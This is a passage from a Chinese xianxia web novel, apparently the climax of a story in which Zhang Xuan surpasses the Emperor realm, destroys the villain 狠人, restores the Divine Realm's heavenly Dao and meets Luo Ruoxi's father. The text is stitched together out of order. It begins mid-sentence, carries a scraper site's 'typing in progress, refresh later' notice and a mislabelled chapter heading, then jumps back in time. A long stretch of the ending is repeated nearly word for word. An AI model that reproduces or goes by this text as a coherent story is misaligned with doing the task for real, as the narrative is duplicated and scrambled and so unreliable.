绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第13章 相约 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 